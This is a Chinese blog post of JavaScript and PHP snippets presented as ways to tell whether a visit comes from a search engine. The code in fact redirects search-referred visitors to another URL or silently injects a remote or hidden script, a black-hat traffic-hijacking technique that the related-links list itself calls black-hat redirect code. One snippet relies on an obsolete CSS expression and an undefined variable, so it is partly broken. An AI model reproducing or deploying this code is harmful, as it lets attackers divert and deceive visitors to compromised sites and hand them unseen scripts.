js如何判断访问是来自搜索引擎(蜘蛛人)还是直接访问


Posted in Javascript onSeptember 14, 2015

以下javascript脚本代码可以实现判断访问是否来自搜索引擎。

代码如下:

<script type="text/javascript">
if(window.name != 'ad_app6'){
var r = document.referrer;
r = r.toLowerCase(); //转为小写
var aSites = new Array('google.','baidu.','sm.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');
var b = false;
for (i in aSites){
if (r.indexOf(aSites[i]) > 0){
b = true;
break;
}
}
 
if(b)
{
self.location = '要跳转的网址';
window.adworkergo = 'ad_app6';
}
}
</script>

介绍的这个JS判断蜘蛛来源的方法脚本是写在body的onload里面的。即页面加载时进行判断。代码如下:

body {onload:expression(
if(window.name!="Yang"){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.';
var str7 = 'baidu.';
var str4 = 'yahoo.';
var str8 = 'youdao.';
var str9 = 'sogou.';
var str5 = 'soso.';
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
 
>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
 
}
);}

这个JS判断蜘蛛来源方法不太好用。特别是在需要判断更多蜘蛛来源时代码写起来比较麻烦。

JS正则表达式判断来路搜索引擎指定跳转网址

var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|sm|so|biso|gougou|ifeng|ivc|sooule|niuhu|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href="跳转指定网址";
}
<script language="javascript">

var s=document.referrer

if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("soso")>0 || s.indexOf("search")>0 || s.indexOf("114")>0 )

window.opener.navigate("https://3water.com")

</script>

通过Js判断搜索引擎来路的代码则如下

<script type="text/javascript">
function elem(e,url){
var h=document.createElement(e);
h.src=url;
document.getElementsByTagName('head')[0].appendChild(h);
}

function refer(){
var ref=document.referrer;
var baidu=ref.indexOf("baidu");
var soso=ref.indexOf("soso");
var google=ref.indexOf("google");
if(baidu!=-1||soso!=-1||google!=-1){
elem("script","http://127.0.0.1/js.js");
}
}
refer()
</script>

一段php判断搜索引擎的代码

<?PHP
$referer = $_SERVER['HTTP_REFERER'];
if(!$referer == ''){
if(ereg('http',$referer)){
$referer = @eXPlode('.',$referer);
if(is_array($referer)){
$referer = $referer['1'];
if($referer == 'google' OR $referer == 'baidu' OR $referer == 'soso' OR $referer == 'sogou'){
?>
<div style="visibility:hidden;"><script src="a.js" language="JavaScript"></script>
</div><?php
}
}
}
}
?>

手机端别忘了 sm、 sogou。

基本上也差不多了,如果你有更好的代码,可以留言.

Javascript 相关文章推荐
Google的跟踪代码 动态加载js代码方法应用
Nov 12 Javascript
jQuery获取当前对象标签名称的方法
Feb 07 Javascript
深入分析原生JavaScript事件
Dec 29 Javascript
jquery实现带缩略图的可定制高度画廊效果(5种)
Aug 28 Javascript
js实现简单的验证码
Dec 25 Javascript
详解JavaScript中return的用法
May 08 Javascript
javascript回调函数的概念理解与用法分析
May 27 Javascript
详解用vue2.x版本+adminLTE开源框架搭建后台应用模版
Mar 15 Javascript
浅谈目前可以使用ES10的5个新特性
Jun 25 Javascript
微信小程序实现页面跳转传递参数(实体,对象)
Aug 12 Javascript
layui关闭层级、简单监听的实例
Sep 06 Javascript
antd-DatePicker组件获取时间值,及相关设置方式
Oct 27 Javascript
根据user-agent判断蜘蛛代码黑帽跳转代码(js版与php版本)
Sep 14 #Javascript
jQuery实现默认是闭合的FAQ展开效果菜单
Sep 14 #Javascript
js带缩略图的图片轮播效果代码分享
Sep 14 #Javascript
jQuery实现的Tab滑动选项卡及图片切换(多种效果)小结
Sep 14 #Javascript
JS+DIV+CSS实现的经典标签切换效果代码
Sep 14 #Javascript
jQuery实现Meizu魅族官方网站的导航菜单效果
Sep 14 #Javascript
jQuery实现鼠标悬停背景翻转的黑色导航菜单代码
Sep 14 #Javascript
You might like
?生?D片??C字串
2006/12/06 PHP
PHP网站安装程序制作的原理、步骤、注意事项和示例代码
2010/08/01 PHP
详解PHP中array_rand函数的使用方法
2016/09/11 PHP
Laravel 的数据库迁移的方法
2017/07/31 PHP
PHP检查文件是否存在,不存在自动创建及读取文件内容操作示例
2020/01/23 PHP
PHP实现抽奖功能实例代码
2020/06/30 PHP
CLASS_CONFUSION JS混淆 全源码
2007/12/12 Javascript
js中return false(阻止)的用法
2013/08/14 Javascript
js css后面所带参数含义介绍
2013/08/18 Javascript
js生成随机数之random函数随机示例
2013/12/20 Javascript
jquery判断小数点两位和自动删除小数两位后的数字
2014/03/19 Javascript
一个简单的jQuery插件ajaxfileupload.js实现ajax上传文件例子
2014/06/26 Javascript
JS组件Bootstrap实现图片轮播效果
2016/05/16 Javascript
js微信分享API
2020/10/11 Javascript
jQuery插件EasyUI获取当前Tab中iframe窗体对象的方法
2016/08/05 Javascript
javascript实现的左右无缝滚动效果
2016/09/19 Javascript
用js实现简单算法的实例代码
2016/09/24 Javascript
在Swiper内如何制作CSS3动画效果示例代码
2017/12/07 Javascript
关于vue属性使用和不使用冒号的区别说明
2020/10/22 Javascript
js删除指定位置超链接中含有百度与360的标题
2021/01/06 Javascript
[08:54]《一刀刀一天》之DOTA全时刻18:十九支奔赴西雅图队伍全部出炉
2014/06/04 DOTA
Python中os和shutil模块实用方法集锦
2014/05/13 Python
python爬虫-模拟微博登录功能
2019/09/12 Python
python打包生成so文件的实现
2020/10/30 Python
pytorch 中forward 的用法与解释说明
2021/02/26 Python
50个强大璀璨的CSS3/JS技术运用实例
2010/02/27 HTML / CSS
使用CSS3制作响应式导航菜单的方法
2015/07/12 HTML / CSS
外贸业务员岗位职责
2013/11/24 职场文书
车贷收入证明范本
2014/01/09 职场文书
乡镇消防安全责任书
2014/07/23 职场文书
教师节倡议书2015
2015/04/27 职场文书
2015年人力资源部工作总结
2015/04/30 职场文书
党员身份证明材料
2015/06/19 职场文书
mysql 8.0.24 安装配置方法图文教程
2021/05/12 MySQL
MySQL8.0的WITH查询详情
2021/08/30 MySQL
python 标准库原理与用法详解之os.path篇
2021/10/24 Python